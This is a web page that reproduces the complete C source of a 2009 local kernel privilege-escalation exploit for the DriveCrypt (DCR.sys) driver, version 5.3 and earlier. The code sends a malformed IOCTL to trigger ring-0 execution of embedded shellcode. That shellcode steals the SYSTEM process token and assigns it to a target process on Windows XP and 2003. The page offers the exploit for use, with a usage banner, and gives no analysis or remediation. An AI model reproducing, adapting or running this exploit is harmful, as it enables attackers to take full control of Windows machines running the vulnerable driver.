ExploitFixes
DriveCrypt <= 5.3 Local Kernel ring0 SYSTEM Exploit 2011-01-11 16:15:07

/* drivecrypt-dcr.c
*
* Copyright (c) 2009 by &lt;[email protected]&gt;
*
* DriveCrypt &lt;= 5.3 local kernel ring0 SYSTEM exploit
* by mu-b - Sun 16 Aug 2009
*
* - Tested on: DCR.sys
*
* Compile: MinGW + -lntdll
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs [email protected]$!
*/

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

#include &lt;windows.h&gt;
#include &lt;ddk/ntapi.h&gt;

#define DCR_IOCTL 0x00073800

static unsigned char win32_fixup[] =
&quot;\x89\xe5&quot;
&quot;\x81\xc5\xb4\x0c\x00\x00&quot;;

/* Win2k3 SP1/2 - kernel EPROCESS token switcher
* by mu-b &lt;[email protected]&gt;
*/
static unsigned char win2k3_ring0_shell[] =
/* _ring0 */
&quot;\xb8\x24\xf1\xdf\xff&quot;
&quot;\x8b\x00&quot;
&quot;\x8b\xb0\x18\x02\x00\x00&quot;
&quot;\x89\xf0&quot;
/* _sys_eprocess_loop */
&quot;\x8b\x98\x94\x00\x00\x00&quot;
&quot;\x81\xfb\x04\x00\x00\x00&quot;
&quot;\x74\x11&quot;
&quot;\x8b\x80\x9c\x00\x00\x00&quot;
&quot;\x2d\x98\x00\x00\x00&quot;
&quot;\x39\xf0&quot;
&quot;\x75\xe3&quot;
&quot;\xeb\x21&quot;
/* _sys_eprocess_found */
&quot;\x89\xc1&quot;
&quot;\x89\xf0&quot;

/* _cmd_eprocess_loop */
&quot;\x8b\x98\x94\x00\x00\x00&quot;
&quot;\x81\xfb\x00\x00\x00\x00&quot;
&quot;\x74\x10&quot;
&quot;\x8b\x80\x9c\x00\x00\x00&quot;
&quot;\x2d\x98\x00\x00\x00&quot;
&quot;\x39\xf0&quot;
&quot;\x75\xe3&quot;
/* _not_found */
&quot;\xcc&quot;
/* _cmd_eprocess_found
* _ring0_end */

/* copy tokens!$%! */
&quot;\x8b\x89\xd8\x00\x00\x00&quot;
&quot;\x89\x88\xd8\x00\x00\x00&quot;
&quot;\x90&quot;;

static unsigned char winxp_ring0_shell[] =
/* _ring0 */
&quot;\xb8\x24\xf1\xdf\xff&quot;
&quot;\x8b\x00&quot;
&quot;\x8b\x70\x44&quot;
&quot;\x89\xf0&quot;
/* _sys_eprocess_loop */
&quot;\x8b\x98\x84\x00\x00\x00&quot;
&quot;\x81\xfb\x04\x00\x00\x00&quot;
&quot;\x74\x11&quot;
&quot;\x8b\x80\x8c\x00\x00\x00&quot;
&quot;\x2d\x88\x00\x00\x00&quot;
&quot;\x39\xf0&quot;
&quot;\x75\xe3&quot;
&quot;\xeb\x21&quot;
/* _sys_eprocess_found */
&quot;\x89\xc1&quot;
&quot;\x89\xf0&quot;

/* _cmd_eprocess_loop */
&quot;\x8b\x98\x84\x00\x00\x00&quot;
&quot;\x81\xfb\x00\x00\x00\x00&quot;
&quot;\x74\x10&quot;
&quot;\x8b\x80\x8c\x00\x00\x00&quot;
&quot;\x2d\x88\x00\x00\x00&quot;
&quot;\x39\xf0&quot;
&quot;\x75\xe3&quot;
/* _not_found */
&quot;\xcc&quot;
/* _cmd_eprocess_found
* _ring0_end */

/* copy tokens!$%! */
&quot;\x8b\x89\xc8\x00\x00\x00&quot;
&quot;\x89\x88\xc8\x00\x00\x00&quot;
&quot;\x90&quot;;

static unsigned char win32_ret[] =
&quot;\xb8\x63\x39\x01\x00&quot;
&quot;\xff\xe0&quot;;

struct ioctl_req {
int action;
int flag;
char *arg1;
char pad[0x0C];
char *arg2;
char _pad[0x0C];
void *ptr;
};

static PCHAR
fixup_ring0_shell (PVOID base, DWORD ppid, DWORD *zlen)
{
DWORD dwVersion, dwMajorVersion, dwMinorVersion;

dwVersion = GetVersion ();
dwMajorVersion = (DWORD) (LOBYTE(LOWORD(dwVersion)));
dwMinorVersion = (DWORD) (HIBYTE(LOWORD(dwVersion)));

if (dwMajorVersion != 5)
{
fprintf (stderr, &quot;* GetVersion, unsupported version\n&quot;);
exit (EXIT_FAILURE);
}

*(PDWORD) &amp;win32_ret[1] += (DWORD) base;

switch (dwMinorVersion)
{
case 1:
*zlen = sizeof winxp_ring0_shell - 1;
*(PDWORD) &amp;winxp_ring0_shell[55] = ppid;
return (winxp_ring0_shell);

case 2:
*zlen = sizeof win2k3_ring0_shell - 1;
*(PDWORD) &amp;win2k3_ring0_shell[58] = ppid;
return (win2k3_ring0_shell);

default:
fprintf (stderr, &quot;* GetVersion, unsupported version\n&quot;);
exit (EXIT_FAILURE);
}

return (NULL);
}

static PVOID
get_module_base (void)
{
PSYSTEM_MODULE_INFORMATION_ENTRY pModuleBase;
PSYSTEM_MODULE_INFORMATION pModuleInfo;
DWORD i, num_modules, status, rlen;
PVOID result;

status = NtQuerySystemInformation (SystemModuleInformation, NULL, 0, &amp;rlen);
if (status != STATUS_INFO_LENGTH_MISMATCH)
{
fprintf (stderr, &quot;* NtQuerySystemInformation failed, 0x%08X\n&quot;, status);
exit (EXIT_FAILURE);
}

pModuleInfo = (PSYSTEM_MODULE_INFORMATION) HeapAlloc (GetProcessHeap (), HEAP_ZERO_MEMORY, rlen);

status = NtQuerySystemInformation (SystemModuleInformation, pModuleInfo, rlen, &amp;rlen);
if (status != STATUS_SUCCESS)
{
fprintf (stderr, &quot;* NtQuerySystemInformation failed, 0x%08X\n&quot;, status);
exit (EXIT_FAILURE);
}

num_modules = pModuleInfo-&gt;Count;
pModuleBase = &amp;pModuleInfo-&gt;Module[0];
result = NULL;

for (i = 0; i &lt; num_modules; i++, pModuleBase++)
if (strstr (pModuleBase-&gt;ImageName, &quot;DCR.sys&quot;))
{
result = pModuleBase-&gt;Base;
break;
}

HeapFree (GetProcessHeap (), HEAP_NO_SERIALIZE, pModuleInfo);

return (result);
}

int
main (int argc, char **argv)
{
struct ioctl_req req;
CHAR buf[1024], buf1[8], buf2[0x88+1];
DWORD rlen, zlen, ppid;
LPVOID zpage, zbuf, base;
HANDLE hFile;
BOOL result;

printf (&quot;DriveCrypt &lt;= 5.3 local kernel ring0 SYSTEM exploit\n&quot;
&quot;by: &lt;[email protected]&gt;\n&quot;
&quot;http://www.digit-labs.org/ -- Digit-Labs [email protected]$!\n\n&quot;);

if (argc &lt;= 1)
{
fprintf (stderr, &quot;Usage: %s &lt;processid to elevate&gt;\n&quot;, argv[0]);
exit (EXIT_SUCCESS);
}

ppid = atoi (argv[1]);

hFile = CreateFileA (&quot;\\\\.\\DCR&quot;, FILE_EXECUTE,
FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
fprintf (stderr, &quot;* CreateFileA failed, %d\n&quot;, hFile);
exit (EXIT_FAILURE);
}

memset (&amp;req, 0, sizeof req);
req.action = 0x153;
req.flag = 0;
req.ptr = buf;

printf (&quot;* enabling driver...\n&quot;);
result = DeviceIoControl (hFile, DCR_IOCTL,
&amp;req, sizeof req, &amp;req, sizeof req, &amp;rlen, 0);
if (!result)
{
fprintf (stderr, &quot;* DeviceIoControl failed\n&quot;);
exit (EXIT_FAILURE);
}
printf (&quot;** version: 0x%08X [%s], %s\n&quot;, *(int *) &amp;buf[8], &amp;buf[12], &amp;buf[19]);
printf (&quot;* done\n&quot;);

zpage = VirtualAlloc ((LPVOID) 0x610000, 0x10000,
MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (zpage == NULL)
{
fprintf (stderr, &quot;* VirtualAlloc failed\n&quot;);
exit (EXIT_FAILURE);
}
printf (&quot;* allocated page: 0x%08X [%d-bytes]\n&quot;,
zpage, 0x10000);

base = get_module_base ();
if (base == NULL)
{
fprintf (stderr, &quot;* unable to find DCR.sys base\n&quot;);
exit (EXIT_FAILURE);
}
printf (&quot;* DCR.sys base: 0x%08X\n&quot;, base);

memset (zpage, 0xCC, 0x10000);
zbuf = fixup_ring0_shell (base, ppid, &amp;zlen);
memcpy ((LPVOID) zpage + 0x61, win32_fixup, sizeof (win32_fixup) - 1);
memcpy ((LPVOID) (zpage + 0x61 + sizeof (win32_fixup) - 1), zbuf, zlen);
memcpy ((LPVOID) (zpage + 0x61 + sizeof (win32_fixup) + zlen - 1),
win32_ret, sizeof (win32_ret) - 1);

memset (&amp;req, 0, sizeof req);
req.action = 79;
req.flag = 0;

memset (buf1, 0x41, sizeof buf1);
buf1[sizeof buf1 - 1] = 0;
req.arg1 = buf1;

memset (buf2, 0x61, sizeof buf2);
buf2[sizeof buf2 - 1] = 0;
req.arg2 = buf2;

req.ptr = buf;

printf (&quot;* hitting.. &quot;);
fflush (stdout);

result = DeviceIoControl (hFile, DCR_IOCTL,
&amp;req, sizeof req, &amp;req, sizeof req, &amp;rlen, 0);
if (!result)
{
fprintf (stderr, &quot;* DeviceIoControl failed\n&quot;);
exit (EXIT_FAILURE);
}

printf (&quot;done\n\n&quot;
&quot;* hmmm, you didn't STOP the box?!?!\n&quot;);

CloseHandle (hFile);

return (EXIT_SUCCESS);
}